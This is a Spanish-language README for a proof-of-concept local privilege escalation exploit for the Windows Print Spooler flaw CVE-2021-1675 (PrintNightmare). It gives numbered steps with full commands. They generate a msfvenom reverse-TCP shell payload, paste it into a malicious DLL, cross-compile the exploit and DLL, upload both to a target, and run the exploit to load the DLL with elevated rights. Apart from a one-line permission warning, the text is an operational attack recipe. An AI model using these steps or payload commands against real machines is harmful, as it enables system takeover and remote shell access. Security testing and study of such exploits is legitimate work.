PoC de Escalada de Privilegios Local PrintNightmare

src/nightmare.cpp: código fuente para explotar CVE-2021-1675 y obtener acceso al sistema instalando una dll maliciosa
src/payload-dll.cpp: código fuente para la dll con shellcode malicioso en la función de entrada

!!Úsalo solo contra servidores en los que tengas permiso para probar

Resumen

CVE-2021-1675 es una vulnerabilidad en el Servicio de Cola de Impresión (Print Spooler Service) de Microsoft Windows que permite a un atacante omitir la comprobación de SeLoadDriverPrivilege. Esto puede aprovecharse para lograr una escalada de privilegios en la máquina objetivo instalando una DLL maliciosa que llama a shellcode o utiliza la API de Windows para establecer una conexión de shell inversa. Las versiones de Windows 10/8/Server 2008/Server 2012 anteriores al 8 de junio de 2021 están afectadas.

PoC

1. Descarga o clona el repositorio de git
2. Usa msfvenom para generar un payload adecuado en c $ msfvenom -p windows/shell/reverse_tcp EXITFUNC=THREAD LHOST=127.0.0.1 LPORT=4444 -f c
3. Pega la salida de msfvenom en payload-dll.cpp donde dice 'change me'
4. Compila el ejecutable principal x86_64-w64-mingw32-g++-win32 -o ./src/nightmare.o -c -g -Wall ./src/nightmare.cpp x86_64-w64-mingw32-g++-win32 -o ./bin/PrintNightmareLPE.exe ./src/nightmare.o -lws2_32 -static-libgcc -static-libstdc++ -lole32 -lwinspool
5. Compila la dll x86_64-w64-mingw32-g++ src/payload-dll.cpp -lws2_32 -o lib/evil.dll -shared
6. Archiva el exe y la dll, luego encuentra una forma de subir el archivo a tu máquina objetivo zip ./bin/PrinterNightmareLPE.exe ./lib/
7. Una vez que el archivo esté en la máquina Windows objetivo, extráelo
8. Mueve evil.dll a c:\windows\temp\evil.dll
9. Ejecuta PrintNightmareLPE.exe

Notas

• Si todo funciona correctamente, el exploit debería iterar a través de los controladores de impresora de Windows e imprimir los resultados
• Puedes cambiar la ruta de archivo desde la que PrintNightmareLPE.exe carga evil.dll dentro del código fuente
• Actualmente la dll maliciosa solo carga calc.exe como Prueba de Concepto